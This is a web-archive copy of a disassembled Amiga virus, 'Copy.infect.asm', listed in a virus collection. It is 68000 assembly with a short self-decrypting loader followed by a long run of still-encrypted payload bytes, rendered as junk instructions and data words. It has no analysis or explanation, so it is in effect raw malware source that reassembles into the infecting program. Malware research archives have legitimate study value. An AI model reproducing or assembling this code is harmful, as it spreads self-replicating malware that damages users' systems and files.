home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusResearch
/
beol96
/
Copy.infect.asm
< prev
next >
Wrap
Assembly Source File
|
2013-02-12
|
83KB
|
3,025 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
EXT_0000 EQU $5DB6
EXT_0001 EQU $20365E4
EXT_0002 EQU $5E3D55F
EXT_0003 EQU $151E9285
EXT_0004 EQU $1834839E
EXT_0005 EQU $523F04F4
EXT_0006 EQU $8953E499
EXT_0007 EQU $9EDF1F02
EXT_0008 EQU $C51E0E62
EXT_0009 EQU $FF7D3282
EXT_000A EQU $FFFFEC87
EXT_000B EQU $FFFFF7A4
SECTION S_0,CODE
SECSTRT_0:
MOVEM.L D0-D7/A0-A6,-(A7) ;0000: 48E7FFFE
MOVEQ #4,D3 ;0004: 7604
MOVEA.L D3,A3 ;0006: 2643
MOVEA.L (A3),A6 ;0008: 2C53
PEA LAB_0001(PC) ;000A: 487A0026
MOVEA.L (A7)+,A5 ;000E: 2A5F
PEA (1927).W ;0010: 48780787
MOVE.L (A7)+,D0 ;0014: 201F
LAB_0000:
DC.W $0A15 ;0016
ROXL D5,D0 ;0018: EB70
MOVE.B (A5),D1 ;001A: 1215
ROL.B #3,D1 ;001C: E719
MOVE.B D1,(A5) ;001E: 1A81
DC.W $0615 ;0020
DC.W $1450 ;0022
MOVEQ #1,D1 ;0024: 7201
ADDA D1,A5 ;0026: DAC1
SUBQ #1,D0 ;0028: 5340
BPL LAB_0000 ;002A: 6A00FFEA
JSR -636(A6) ;002E: 4EAEFD84
LAB_0001:
DC.W $ECED ;0032
OR.L (A0),D3 ;0034: 8690
LAB_0002:
ADD.B D0,20261(A6) ;0036: D12E4F25
DC.W $66AB ;003A
BCHG D7,-(A5) ;003C: 0F65
DC.W $2729 ;003E
DC.W $EBD3 ;0040
AND.B -(A3),D2 ;0042: C423
DC.W $27E8 ;0044
DC.W $08E2 ;0046
BVC.S LAB_0001 ;0048: 68E8
OR 26998(A1),D1 ;004A: 82696976
BVC.S LAB_0002+2 ;004E: 68E8
OR 26998(A1),D1 ;0050: 82696976
MOVE 12078(A7),(A0)+ ;0054: 30EF2F2E
SUB.L -(A6),D1 ;0058: 92A6
MOVE.B 29286(A6),D0 ;005A: 102E7266
OR.L D2,-(A2) ;005E: 85A2
DC.W $0EA3 ;0060
DC.W $674F ;0062
DC.W $AF5B ;0064
DC.W $C40D ;0066
ADDA D6,A7 ;0068: DEC6
BCS.S LAB_0003+2 ;006A: 6572
DC.W $F279 ;006C
SUBQ.L #7,D7 ;006E: 5F87
ROXR D1,D2 ;0070: E272
ADD.B D4,-(A0) ;0072: D920
DC.W $F67C ;0074
DC.W $15F8 ;0076
DC.W $F7A4 ;0078
ROR D2,D4 ;007A: E47C
DC.W $8B81 ;007C
DC.W $F678 ;007E
DC.W $EFE6 ;0080
LSR -(A4) ;0082: E2E4
DC.W $F044 ;0084
ADDA.L D2,A7 ;0086: DFC2
SCS -(A5) ;0088: 55E5
SMI D2 ;008A: 5BC2
ADDA -(A2),A1 ;008C: D2E2
BCLR D4,(A5) ;008E: 0995
ADDA D7,A7 ;0090: DEC7
LSR -(A5) ;0092: E2E5
AND.L D0,(A1) ;0094: C191
DC.W $08A4 ;0096
DC.W $837E ;0098
DC.W $1679 ;009A
DC.W $1834 ;009C
OR.L D1,(A6)+ ;009E: 839E
CMPA.L D6,A3 ;00A0: B7C6
SUB.B D4,-18665(A0) ;00A2: 9928B717
MOVE.B (A2)+,-(A3) ;00A6: 171A
BTST D2,D6 ;00A8: 0506
MOVE.B (A2)+,-(A5) ;00AA: 1B1A
DC.W $63C3 ;00AC
DC.W $B5B7 ;00AE
DC.W $F4C3 ;00B0
DC.W $0416 ;00B2
MOVE.L (A5)+,D3 ;00B4: 261D
CMPA (A7),A7 ;00B6: BED7
DC.W $99F3 ;00B8
SVS D4 ;00BA: 59C4
AND D2,D1 ;00BC: C242
NOT.L (A2)+ ;00BE: 469A
DC.W $23BA ;00C0
DC.W $185B ;00C2
DC.W $0E62 ;00C4
DC.W $125B ;00C6
DC.W $0403 ;00C8
ADD.L (A7)+,D0 ;00CA: D09F
MOVE.B (A3)+,-(A6) ;00CC: 1D1B
DC.W $A162 ;00CE
BCHG D2,(A6) ;00D0: 0556
DC.W $3F92 ;00D2
ABCD D4,D2 ;00D4: C504
DC.W $C97B ;00D6
DC.W $80FB ;00D8
DC.W $14FF ;00DA
LAB_0003:
ANDI.L #$04FF631F,-(A3) ;00DC: 02A304FF631F
DC.W $0E83 ;00E2
ASL D7,D2 ;00E4: EF62
DC.W $3238 ;00E6
DC.W $0421 ;00E8
DC.W $027E ;00EA
MOVEA (A6)+,A7 ;00EC: 3E5E
DC.W $F37A ;00EE
DC.W $0588 ;00F0
BTST D7,-(A7) ;00F2: 0F27
MOVEA D2,A1 ;00F4: 3242
SUBX.L D1,D7 ;00F6: 9F81
DC.W $629B ;00F8
DC.W $3F39 ;00FA
SHI (A3)+ ;00FC: 52DB
DC.W $FFCF ;00FE
MOVE.L (A7)+,-28994(A7) ;0100: 2F5F8EBE
AND.B D2,D3 ;0104: C602
DC.W $3FCA ;0106
DC.W $1BE3 ;0108
DC.W $3FCA ;010A
EOR.L D4,D4 ;010C: B984
DC.W $3FCA ;010E
DC.W $17E3 ;0110
DC.W $3FCA ;0112
OR D3,D2 ;0114: 8443
DC.W $33D4 ;0116
DC.W $3384 ;0118
AND D1,(A3) ;011A: C353
BTST D1,D3 ;011C: 0303
MOVE.B -(A3),-5869(A1) ;011E: 1363E913
DC.W $A3D9 ;0122
MOVE.B D3,EXT_0006 ;0124: 13C38953E499
DC.W $53F3 ;012A
DC.W $F393 ;012C
BTST D1,D3 ;012E: 0303
DC.W $E3F3 ;0130
DC.W $A984 ;0132
LAB_0004:
DC.W $F393 ;0134
DC.W $F303 ;0136
MOVE.B -(A4),(A5)+ ;0138: 1AE4
BTST D3,D2 ;013A: 0702
EXG D1,D4 ;013C: C344
BLS.S LAB_0004 ;013E: 63F4
MOVE.B (A3),(A1) ;0140: 1293
DC.W $0E62 ;0142
MOVE.L D2,-(A1) ;0144: 2302
MOVE.B (A3),(A1) ;0146: 1293
DC.W $0E62 ;0148
DC.W $3343 ;014A
SUBX.B -(A7),-(A1) ;014C: 930F
SUB.B D5,(A2) ;014E: 9B12
SUBX.B -(A6),-(A1) ;0150: 930E
DC.W $6203 ;0152
CHK (A3),D1 ;0154: 4393
DC.W $1F9B ;0156
AND.L D1,(A7)+ ;0158: C39F
MOVEQ #35,D5 ;015A: 7A23
MOVE.B (A3),(A1) ;015C: 1293
DC.W $0430 ;015E
DC.W $02C3 ;0160
DC.W $1374 ;0162
EOR.B D2,(A2) ;0164: B512
SBCD -(A6),-(A1) ;0166: 830E
DIVU D3,D1 ;0168: 82C3
DC.W $A3D2 ;016A
DC.W $F3E3 ;016C
SBCD D4,D1 ;016E: 8304
SBCD D2,D1 ;0170: 8302
ADD.L D1,(A7)+ ;0172: D39F
SUB.L -(A3),D5 ;0174: 9AA3
ADD.B (A2),D1 ;0176: D212
ASL.B #1,D4 ;0178: E304
MOVE D2,D2 ;017A: 3402
MOVE.B -(A3),(A1)+ ;017C: 12E3
BCHG D2,(A6)+ ;017E: 055E
DC.W $73A3 ;0180
DC.W $A3D2 ;0182
DC.W $43E3 ;0184
BTST D7,(A6)+ ;0186: 0F1E
MOVE.B -(A3),(A1)+ ;0188: 12E3
BCHG D2,(A6)+ ;018A: 055E
DC.W $A3A3 ;018C
ADDA -(A3),A1 ;018E: D2E3
ASL.L D1,D3 ;0190: E3A3
DC.W $1EB3 ;0192
DC.W $1ACB ;0194
DC.W $CBAD ;0196
SUBQ.L #3,(A3) ;0198: 5793
DC.W $4A35 ;019A
DC.W $1FB3 ;019C
AND.L D1,(A3) ;019E: C393
DC.W $D434 ;01A0
ROXL.L #1,D3 ;01A2: E393
ROR.L #8,D7 ;01A4: E09F
DC.W $02E3 ;01A6
SUB.L D1,(A7)+ ;01A8: 939F
DC.W $1FC3 ;01AA
LSR.L D0,D4 ;01AC: E0AC
MOVE.B (A3),(A1) ;01AE: 1293
DC.W $0430 ;01B0
DC.W $0212 ;01B2
DC.W $F301 ;01B4
DC.W $12F3 ;01B6
DC.W $93F3 ;01B8
MOVE.B (A6),-(A3) ;01BA: 1716
DC.W $02F3 ;01BC
DC.W $F393 ;01BE
BCLR D1,D4 ;01C0: 0384
DC.W $02B5 ;01C2
AND.L D1,(A3) ;01C4: C393
MOVE.B (A3),-(A1) ;01C6: 1313
LSL -(A3) ;01C8: E3E3
BCLR D7,(A7) ;01CA: 0F97
DC.W $63E3 ;01CC
DC.W $E3F0 ;01CE
MOVE.B D3,(A7)+ ;01D0: 1EC3
BSR.S LAB_0005 ;01D2: 6102
DC.W $63E3 ;01D4
LAB_0005:
ROL D1,D7 ;01D6: E37F
MOVE.B D3,(A7)+ ;01D8: 1EC3
EOR.L D0,-(A3) ;01DA: B1A3
LSL -(A3) ;01DC: E3E3
DC.W $F01E ;01DE
ABCD D0,D1 ;01E0: C300
ANDI #$16C3,-(A3) ;01E2: 026316C3
DC.W $3374 ;01E6
CMPA.L (A3),A2 ;01E8: B5D3
DC.W $9F7A ;01EA
ANDI.L #$D33F3952,-(A3) ;01EC: 02A3D33F3952
ADDX.B D2,D5 ;01F2: DB02
DC.W $12B3 ;01F4
DC.W $0E39 ;01F6
DC.W $A352 ;01F8
ADDA.L -(A3),A5 ;01FA: DBE3
DC.W $B33F ;01FC
DC.W $9DB3 ;01FE
MOVE.B (A2),D1 ;0200: 1212
BCHG D2,(A6)+ ;0202: 055E
OR D1,(A2) ;0204: 8352
ADDA.L D3,A5 ;0206: DBC3
DC.W $3FB6 ;0208
SUB.B D1,(A2) ;020A: 9312
DC.W $D33F ;020C
MOVE (A2),-9470(A6) ;020E: 3D52DB02
AND D1,-(A3) ;0212: C363
DIVU D5,D2 ;0214: 84C5
ADDX D5,D1 ;0216: D345
SUB.B D2,D5 ;0218: 9A02
ABCD D2,D1 ;021A: C302
MOVE.B D2,D1 ;021C: 1202
BSET D0,D3 ;021E: 01C3
DC.W $F3A3 ;0220
DC.W $0204 ;0222
MOVE.B -(A3),(A7)+ ;0224: 1EE3
DC.W $A345 ;0226
MOVE.B D2,-(A7) ;0228: 1F02
MOVE.B D2,D1 ;022A: 1202
SUBI.L #$C302C3E3,(A6)+ ;022C: 049EC302C3E3
ANDI #$1E02,D5 ;0232: 02451E02
MOVE.B -(A3),(A1) ;0236: 12A3
DC.W $0E82 ;0238
DC.W $A302 ;023A
MULS -(A3),D1 ;023C: C3E3
DC.W $A345 ;023E
DC.W $81B3 ;0240
MOVE.B -(A3),D0 ;0242: 1023
DC.W $0E29 ;0244
ANDI.L #$451F04FB,(A6)+ ;0246: 029E451F04FB
SUBQ.B #7,11826(A0) ;024C: 5F282E32
DC.W $3FCA ;0250
SUB.L D7,12834(A1) ;0252: 9FA93222
DC.W $3F3D ;0256
MOVEA (A2)+,A1 ;0258: 325A
DC.W $FA53 ;025A
ASL D7,D2 ;025C: EF62
ANDI #$0421,-(A5) ;025E: 02650421
MOVE.B (A5)+,(A1)+ ;0262: 12DD
MOVE.B D3,D0 ;0264: 1003
DC.W $0421 ;0266
DC.W $12BC ;0268
DC.W $1063 ;026A
DC.W $3F3D ;026C
DC.W $32BA ;026E
SUBQ.B #7,10802(A0) ;0270: 5F282A32
DC.W $3FCA ;0274
DC.W $7F1B ;0276
EOR D0,-(A2) ;0278: B162
DC.W $F685 ;027A
ANDI.L #$A1C3148F,D3 ;027C: 0283A1C3148F
DC.W $02D6 ;0282
SUBI.B #$39,(A7)+ ;0284: 041F0039
SUB.L D7,10786(A1) ;0288: 9FA92A22
CHK (A2)+,D2 ;028C: 459A
DC.W $02C3 ;028E
DC.W $A521 ;0290
MOVE.B D4,(A1)+ ;0292: 12C4
DC.W $AF69 ;0294
DC.W $02BF ;0296
MOVE.B D2,D0 ;0298: 1002
ROXL.B #1,D7 ;029A: E317
BCS.S LAB_0006+2 ;029C: 651E
DC.W $8F82 ;029E
ANDI.L #$88490263,D4 ;02A0: 028488490263
DC.W $107D ;02A6
EOR D7,(A5) ;02A8: BF55
ANDI.L #$713E4545,(A3) ;02AA: 0293713E4545
MOVEA (A1)+,A1 ;02B0: 3259
DC.W $04BF ;02B2
DC.W $7F9D ;02B4
DC.W $0200 ;02B6
DC.W $A1FE ;02B8
LAB_0006:
SUBI #$3219,D5 ;02BA: 04453219
MOVE.B -(A4),D0 ;02BE: 1024
AND D1,-(A3) ;02C0: C363
DC.W $02FE ;02C2
DC.W $F329 ;02C4
DC.W $127F ;02C6
DC.W $F349 ;02C8
DC.W $02DD ;02CA
DC.W $02E0 ;02CC
MOVE.B (A7)+,D1 ;02CE: 121F
ANDI.L #$02E502B4,D4 ;02D0: 028402E502B4
DC.W $0224 ;02D6
MOVE.B (A7),-(A3) ;02D8: 1717
MOVE (A3)+,-(A7) ;02DA: 3F1B
ORI #$0430,-(A3) ;02DC: 00630430
DC.W $1D80 ;02E0
CMPA.L D2,A0 ;02E2: B1C2
DC.W $FE80 ;02E4
SUBQ.L #8,D2 ;02E6: 5182
DC.W $FF55 ;02E8
ANDI.L #$04535F28,(A3) ;02EA: 029304535F28
MOVE.L -(A2),D5 ;02F0: 2A22
DC.W $3FCA ;02F2
BCLR D5,(A7) ;02F4: 0B97
DC.W $0475 ;02F6
ANDI.L #$C99BB100,-(A1) ;02F8: 02A1C99BB100
DC.W $0405 ;02FE
SBCD D3,D1 ;0300: 8303
AND.L D4,(A3)+ ;0302: C99B
EOR.L D0,D0 ;0304: B180
DC.W $041E ;0306
BTST D0,D2 ;0308: 0102
BCLR D1,D4 ;030A: 0384
MOVE.B (A6),-(A3) ;030C: 1716
MOVE.B D4,(A0)+ ;030E: 10C4
DC.W $F31C ;0310
SUB.L (A7)+,D6 ;0312: 9C9F
DC.W $00E3 ;0314
DC.W $1B9F ;0316
SUBI.L #$1E840185,D3 ;0318: 04831E840185
BCLR D1,D0 ;031E: 0380
DC.W $1B9A ;0320
DC.W $9632 ;0322
ROXL.B D2,D0 ;0324: E530
DC.W $00E3 ;0326
DC.W $F8A7 ;0328
MOVE D2,D5 ;032A: 3A02
MOVE.L (A4),(A2) ;032C: 2494
DC.W $7125 ;032E
AND.L D2,(A7)+ ;0330: C59F
BSET D1,-(A5) ;0332: 03E5
DC.W $A983 ;0334
DC.W $1D94 ;0336
DC.W $A139 ;0338
BTST D7,-(A7) ;033A: 0F27
MOVE -(A2),(A1) ;033C: 32A2
BSET D0,D5 ;033E: 01C5
DC.W $17DC ;0340
AND.L D4,(A3)+ ;0342: C99B
DC.W $041E ;0344
ROL.L #2,D7 ;0346: E59F
MOVE.B -(A4),(A0) ;0348: 10A4
DC.W $A1E4 ;034A
MOVE.B (A6),-(A3) ;034C: 1716
DC.W $3AF3 ;034E
BCLR D1,D4 ;0350: 0384
MOVE.B D0,(A4) ;0352: 1880
BTST D7,-(A7) ;0354: 0F27
MOVEA -(A2),A1 ;0356: 3262
CMPA.L D3,A0 ;0358: B1C3
DC.W $F51E ;035A
MOVEA (A1)+,A1 ;035C: 3259
DC.W $3FCA ;035E
BTST D0,D2 ;0360: 0102
BTST D1,D3 ;0362: 0303
SUB.B (A6)+,D0 ;0364: 901E
SF D3 ;0366: 51C3
DC.W $7F05 ;0368
DC.W $0212 ;036A
DC.W $3FCA ;036C
MOVE.B D2,D0 ;036E: 1002
ANDI #$7F5D,(A3)+ ;0370: 025B7F5D
MOVE D2,(A1)+ ;0374: 32C2
CMPA.L D2,A0 ;0376: B1C2
DC.W $010E ;0378
AND.L D4,(A3)+ ;037A: C99B
DC.W $FA12 ;037C
DC.W $3F3D ;037E
SHI D0 ;0380: 52C0
DC.W $A51A ;0382
EOR.L D0,EXT_0008 ;0384: B1B9C51E0E62
ASL.B #1,D3 ;038A: E303
MOVE.B -(A0),(A0)+ ;038C: 10E0
SUBI #$025A,-(A1) ;038E: 0461025A
CMP -(A1),D0 ;0392: B061
ANDI #$41E3,(A2)+ ;0394: 025A41E3
DC.W $1FCF ;0398
DC.W $4100 ;039A
DC.W $6583 ;039C
MOVE.B D2,-31773(A3) ;039E: 174283E3
SUBI.L #$FA123F3D,D3 ;03A2: 0483FA123F3D
SHI D0 ;03A8: 52C0
AND.B D2,(A6) ;03AA: C516
DC.W $C5CB ;03AC
DC.W $077C ;03AE
AND.B D2,(A6) ;03B0: C516
EOR.L D0,-(A3) ;03B2: B1A3
DC.W $0E79 ;03B4
DC.W $02DB ;03B6
DC.W $10BD ;03B8
EOR.B D0,(A6)+ ;03BA: B11E
OR.B D3,D0 ;03BC: 8003
ROL.B #7,D1 ;03BE: EF19
DC.W $02D3 ;03C0
DC.W $FF94 ;03C2
DC.W $E4C7 ;03C4
DC.W $184B ;03C6
DC.W $A162 ;03C8
MULS (A7),D2 ;03CA: C5D7
SUBI #$02C3,D5 ;03CC: 044502C3
AND.L D4,(A3)+ ;03D0: C99B
DC.W $041E ;03D2
BCLR D1,D4 ;03D4: 0384
AND.B (A6),D2 ;03D6: C416
AND.L (A0)+,D2 ;03D8: C498
DC.W $F002 ;03DA
MOVE.L -(A2),16330(A0) ;03DC: 21623FCA
ROL #7,D1 ;03E0: EF59
DC.W $0203 ;03E2
DC.W $FA93 ;03E4
MOVE (A4),-(A2) ;03E6: 3514
BCLR D7,D7 ;03E8: 0F87
MOVEA D2,A1 ;03EA: 3242
MOVE (A3)+,-(A7) ;03EC: 3F1B
ROL #7,D1 ;03EE: EF59
MOVE (A1)+,(A1) ;03F0: 3299
DC.W $FA93 ;03F2
LSL.B D2,D0 ;03F4: E528
BCLR D7,D7 ;03F6: 0F87
MOVEA D2,A1 ;03F8: 3242
DC.W $3FCA ;03FA
DC.W $04F4 ;03FC
EOR.B D0,(EXT_000A).W ;03FE: B138EC87
ROXL.B #2,D1 ;0402: E511
DC.W $8383 ;0404
MOVE.B D3,(A0)+ ;0406: 10C3
DC.W $E5F0 ;0408
DC.W $FFEC ;040A
MOVE EXT_0005,-(A7) ;040C: 3F39523F04F4
EOR.L D0,(A1)+ ;0412: B199
AND.B D2,(A6)+ ;0414: C51E
DC.W $0E62 ;0416
MOVE.B -(A1),(A1)+ ;0418: 12E1
MOVE.B (A7),(A0)+ ;041A: 10D7
DC.W $0038 ;041C
DC.W $04F4 ;041E
EOR D0,(A6) ;0420: B156
AND.B D2,(A6)+ ;0422: C51E
ASL D2,D0 ;0424: E560
SUBI #$32C2,D5 ;0426: 044532C2
DC.W $B1F6 ;042A
BCS.S LAB_0007 ;042C: 6502
ROXR.B #4,D6 ;042E: E816
LAB_0007:
DC.W $E6F8 ;0430
DC.W $2197 ;0432
ADD.L D2,(A3) ;0434: D593
ROXR.B #6,D6 ;0436: EC16
DC.W $04C0 ;0438
DC.W $3F3D ;043A
ADDQ.B #1,(A3)+ ;043C: 521B
MOVEQ #93,D3 ;043E: 765D
DC.W $02C3 ;0440
DC.W $B17C ;0442
ASL D2,D0 ;0444: E560
ROR D3,D0 ;0446: E678
DC.W $A1F6 ;0448
MULS -(A0),D2 ;044A: C5E0
DC.W $C37C ;044C
DC.W $0202 ;044E
DC.W $F3F2 ;0450
DC.W $A19D ;0452
DC.W $3593 ;0454
MOVEQ #94,D7 ;0456: 7E5E
DC.W $A3D2 ;0458
DC.W $F842 ;045A
CMPA.L -(A3),A1 ;045C: B3E3
DC.W $0E62 ;045E
DC.W $F360 ;0460
MOVE.B D2,D0 ;0462: 1002
DC.W $12BA ;0464
DC.W $807F ;0466
DC.W $047F ;0468
SBCD D3,D2 ;046A: 8503
ROR.B #8,D3 ;046C: E01B
MOVE.B (A3)+,-100(A7,A6.W) ;046E: 1F9BE09C
AND D4,(A3)+ ;0472: C95B
BSET D3,(A7) ;0474: 07D7
ADD D4,(A3)+ ;0476: D95B
CMP.B D2,D5 ;0478: BA02
MOVE D2,(A5) ;047A: 3A82
SUBI.L #$C31EF399,D4 ;047C: 0484C31EF399
DC.W $61C3 ;0482
DC.W $0434 ;0484
DC.W $A116 ;0486
DC.W $431E ;0488
DC.W $0273 ;048A
CHK -(A2),D0 ;048C: 41A2
BCHG D1,675(A6) ;048E: 036E02A3
DC.W $3F72 ;0492
DC.W $02E3 ;0494
ADDX D3,D7 ;0496: DF43
DC.W $435F ;0498
DC.W $4539 ;049A
MOVE EXT_0007,-(A4) ;049C: 39399EDF1F02
ASL.L #2,D4 ;04A2: E584
DC.W $7FAB ;04A4
DC.W $61C3 ;04A6
MOVE (A3)+,(A4) ;04A8: 389B
AND.B (A7)+,D3 ;04AA: C61F
CHK D1,D1 ;04AC: 4381
DC.W $3FCA ;04AE
DC.W $02E3 ;04B0
EOR.B D0,(A7) ;04B2: B117
EXG D4,A3 ;04B4: C98B
BTST D3,D6 ;04B6: 0706
DC.W $7FE7 ;04B8
EOR.B D0,(A6) ;04BA: B116
DC.W $F0DF ;04BC
CMPA.L (A7),A0 ;04BE: B1D7
DC.W $0076 ;04C0
ASL.L #2,D4 ;04C2: E584
EOR.L D0,-100(A6,A6.W) ;04C4: B1B6E09C
EXG D4,A3 ;04C8: C98B
BTST D3,D6 ;04CA: 0706
DC.W $00C2 ;04CC
ASL.L #2,D4 ;04CE: E584
DC.W $B17D ;04D0
EXG D4,A3 ;04D2: C98B
DC.W $0E19 ;04D4
DIVU D3,D2 ;04D6: 84C3
DC.W $00C2 ;04D8
ASL.L #2,D4 ;04DA: E584
EXG D4,A3 ;04DC: C98B
BTST D3,D6 ;04DE: 0706
ORI #$809B,SR ;04E0: 007C809B
DC.W $00F8 ;04E4
CMP.B D2,D5 ;04E6: BA02
DC.W $F0DF ;04E8
DC.W $A11B ;04EA
DC.W $A583 ;04EC
CMP.B -24100(A4),D3 ;04EE: B62CA1DC
DC.W $0E62 ;04F2
DC.W $027F ;04F4
MOVE.B D3,(A0)+ ;04F6: 10C3
DC.W $0E62 ;04F8
ANDI.L #$000222F9,-(A3) ;04FA: 02A3000222F9
BCLR D0,D3 ;0500: 0183
DC.W $FA32 ;0502
SUBA.L (A0)+,A7 ;0504: 9FD8
DC.W $02F3 ;0506
BCHG D2,(A6)+ ;0508: 055E
DC.W $F319 ;050A
MOVE.B (A7)+,(A0) ;050C: 109F
DC.W $857B ;050E
BCHG D0,D3 ;0510: 0143
SUB.B D2,(A6)+ ;0512: 951E
DC.W $02C3 ;0514
BCLR D0,94(A0,D1.W) ;0516: 01B0105E
DC.W $1F7F ;051A
DC.W $C5CB ;051C
DC.W $3C7B ;051E
DC.W $857B ;0520
DC.W $95AF ;0522
DC.W $02C3 ;0524
DC.W $387B ;0526
MOVE.B D5,D0 ;0528: 1005
DC.W $A0CF ;052A
EXG A4,A3 ;052C: C94B
SUBA.L (A0)+,A7 ;052E: 9FD8
ANDI.L #$10A5BCAB,D5 ;0530: 028510A5BCAB
DC.W $85AB ;0536
DC.W $95EF ;0538
DC.W $02C3 ;053A
ORI #$FA02,D4 ;053C: 0044FA02
DC.W $FF5D ;0540
MOVEA D2,A1 ;0542: 3242
BTST D0,D3 ;0544: 0103
DC.W $17EC ;0546
DC.W $041E ;0548
OR.B D2,(A4)+ ;054A: 851C
ADD.L D4,(A3)+ ;054C: D99B
SUB D7,(A1)+ ;054E: 9F59
DC.W $02F3 ;0550
DC.W $02C3 ;0552
BSET D0,(A4) ;0554: 01D4
OR.B (A6)+,D7 ;0556: 8E1E
MOVE -(A2),(A1)+ ;0558: 32E2
LSL #2,D7 ;055A: E54F
DC.W $04BF ;055C
DC.W $9F71 ;055E
ANDI.L #$95303259,-(A4) ;0560: 02A495303259
DC.W $3F3D ;0566
MOVE.L #$9F7102A4,(A1)+ ;0568: 22FC9F7102A4
DC.W $04B0 ;056E
DC.W $3F3D ;0570
MOVE.L (A2)+,D1 ;0572: 221A
DC.W $0430 ;0574
DC.W $3F39 ;0576
MOVEA.L (A3)+,A1 ;0578: 225B
ASL D2,D5 ;057A: E565
DC.W $02DA ;057C
MOVE.B (A6),D0 ;057E: 1016
ADD D2,D4 ;0580: D842
DC.W $02DB ;0582
DC.W $957F ;0584
ANDI.L #$01E51077,D3 ;0586: 028301E51077
SUBI #$D99B,-(A3) ;058C: 0463D99B
DC.W $A01A ;0590
SUB.B D2,(A6)+ ;0592: 951E
ANDI.L #$01440056,D3 ;0594: 028301440056
ADD.L D4,(A3)+ ;059A: D99B
DC.W $E5C5 ;059C
EXG D4,A3 ;059E: C98B
BCLR D5,(A7) ;05A0: 0B97
OR.B D2,(A1)+ ;05A2: 8519
DIVU D5,D2 ;05A4: 84C5
DIVS D4,D2 ;05A6: 85C4
OR.B D2,(A2)+ ;05A8: 851A
BCHG D2,(A6)+ ;05AA: 055E
AND D1,-(A3) ;05AC: C363
MOVE.B (A1)+,(A0) ;05AE: 1099
SUBA.L (A7)+,A2 ;05B0: 95DF
MOVEA D2,A1 ;05B2: 3242
BCHG D0,-(A4) ;05B4: 0164
MOVE.B (A0)+,D0 ;05B6: 1018
AND D7,EXT_0001 ;05B8: CF79020365E4
MOVEQ #-3,D6 ;05BE: 7CFD
DC.W $FFFD ;05C0
DC.W $0F7B ;05C2
DC.W $3FCA ;05C4
MOVEP D1,552(A6) ;05C6: 038E0228
DC.W $19B3 ;05CA
DC.W $0DB3 ;05CC
DC.W $2930 ;05CE
DC.W $05B3 ;05D0
DC.W $3FCA ;05D2
MOVE.B (A1)+,D0 ;05D4: 1019
MOVE.B (A7)+,(A4) ;05D6: 189F
DC.W $3FCA ;05D8
SUB.L D7,26658(A1) ;05DA: 9FA96822
MOVE.B EXT_0003,(A0) ;05DE: 10B9151E9285
MOVE D2,-(A2) ;05E4: 3502
DC.W $3F3D ;05E6
MOVEA (A2)+,A1 ;05E8: 325A
MOVE.B (A1)+,(A0) ;05EA: 1099
SUBQ.L #4,D3 ;05EC: 5983
SUB.B D2,D7 ;05EE: 9E02
DC.W $FED3 ;05F0
DC.W $188F ;05F2
MOVE.B D3,(A0) ;05F4: 1083
MOVEQ #-38,D1 ;05F6: 72DA
ANDI.L #$02730293,(A3) ;05F8: 029302730293
DC.W $DAF3 ;05FE
DC.W $A5B0 ;0600
AND.B D2,120(A0,A3.L) ;0602: C530B878
DC.W $A406 ;0606
DC.W $A4C7 ;0608
DC.W $0F77 ;060A
MOVE D2,(A1) ;060C: 3282
DC.W $3FE0 ;060E
DC.W $32BA ;0610
DC.W $652F ;0612
DC.W $8F49 ;0614
DC.W $02E4 ;0616
DC.W $FA16 ;0618
CMPA (A3),A5 ;061A: BAD3
MOVE.B (A5)+,(A0) ;061C: 109D
DC.W $7983 ;061E
MOVE.B D6,D1 ;0620: 1206
DC.W $A182 ;0622
ADD.B D2,D2 ;0624: D402
BCHG D7,-(A7) ;0626: 0F67
MOVE D2,(A1)+ ;0628: 32C2
DC.W $E0FF ;062A
EOR D0,EXT_0009 ;062C: B179FF7D3282
ADDQ.B #5,D2 ;0632: 5A02
MOVE.B (A3)+,D0 ;0634: 101B
ADD.B D2,D7 ;0636: DE02
DC.W $D9FF ;0638
MOVE.B (A4)+,(A0) ;063A: 109C
SUBX.L D3,D4 ;063C: 9983
DC.W $FE02 ;063E
DC.W $0F0E ;0640
MOVE.L (A1)+,-(A0) ;0642: 2119
DC.W $AF62 ;0644
MOVEQ #63,D1 ;0646: 723F
DC.W $E4EE ;0648
BCLR D1,D3 ;064A: 0383
SUBX.B -(A2),-(A7) ;064C: 9F0A
CMP.B D6,D4 ;064E: B806
DC.W $A4A3 ;0650
DC.W $B7F4 ;0652
DC.W $B674 ;0654
DC.W $A158 ;0656
DC.W $12B7 ;0658
DC.W $A198 ;065A
MOVE.B D2,D0 ;065C: 1002
DC.W $32BA ;065E
SUBQ.L #4,D3 ;0660: 5983
BSET D1,514(A6) ;0662: 03EE0202
CMP.B (A6),D4 ;0666: B816
DC.W $1041 ;0668
BCLR D2,-(A3) ;066A: 05A3
DC.W $299F ;066C
DC.W $61D7 ;066E
DC.W $A5E1 ;0670
SUBI #$1B6B,D3 ;0672: 04431B6B
DC.W $07F0 ;0676
ASL #2,D3 ;0678: E543
DC.W $FC4B ;067A
DC.W $F806 ;067C
DC.W $A58F ;067E
LEA (A3),A2 ;0680: 45D3
MOVEQ #14,D4 ;0682: 780E
BTST D1,D4 ;0684: 0304
CMPA -(A3),A5 ;0686: BAE3
ADDA (A5),A7 ;0688: DED5
MULS (A1),D2 ;068A: C5D1
DC.W $3FFC ;068C
BCHG D7,-(A7) ;068E: 0F67
MOVE D2,(A1) ;0690: 3282
DC.W $6F49 ;0692
DC.W $02E4 ;0694
CMP.B D2,D2 ;0696: B402
DC.W $0F37 ;0698
DC.W $3279 ;069A
DC.W $F00E ;069C
CMPA D5,A2 ;069E: B4C5
BCLR D7,D7 ;06A0: 0F87
MOVEA D2,A1 ;06A2: 3242
DC.W $048F ;06A4
DC.W $2F29 ;06A6
DC.W $023B ;06A8
BCHG D7,(A7) ;06AA: 0F57
MOVE (A7)+,(A1)+ ;06AC: 32DF
DC.W $3F3D ;06AE
DC.W $32BA ;06B0
MOVE.L A7,(A0)+ ;06B2: 20CF
ADDX -(A7),-(A4) ;06B4: D94F
ADDA.L -(A3),A0 ;06B6: D1E3
DC.W $C08F ;06B8
DC.W $CF82 ;06BA
DC.W $F3E2 ;06BC
ROL D2,D3 ;06BE: E57B
DC.W $B57E ;06C0
MOVEQ #27,D1 ;06C2: 721B
SUBA.L D7,A7 ;06C4: 9FC7
CMPA.L (A3),A2 ;06C6: B5D3
DC.W $0F7F ;06C8
DC.W $F07F ;06CA
EOR D2,-(A3) ;06CC: B563
DC.W $C534 ;06CE
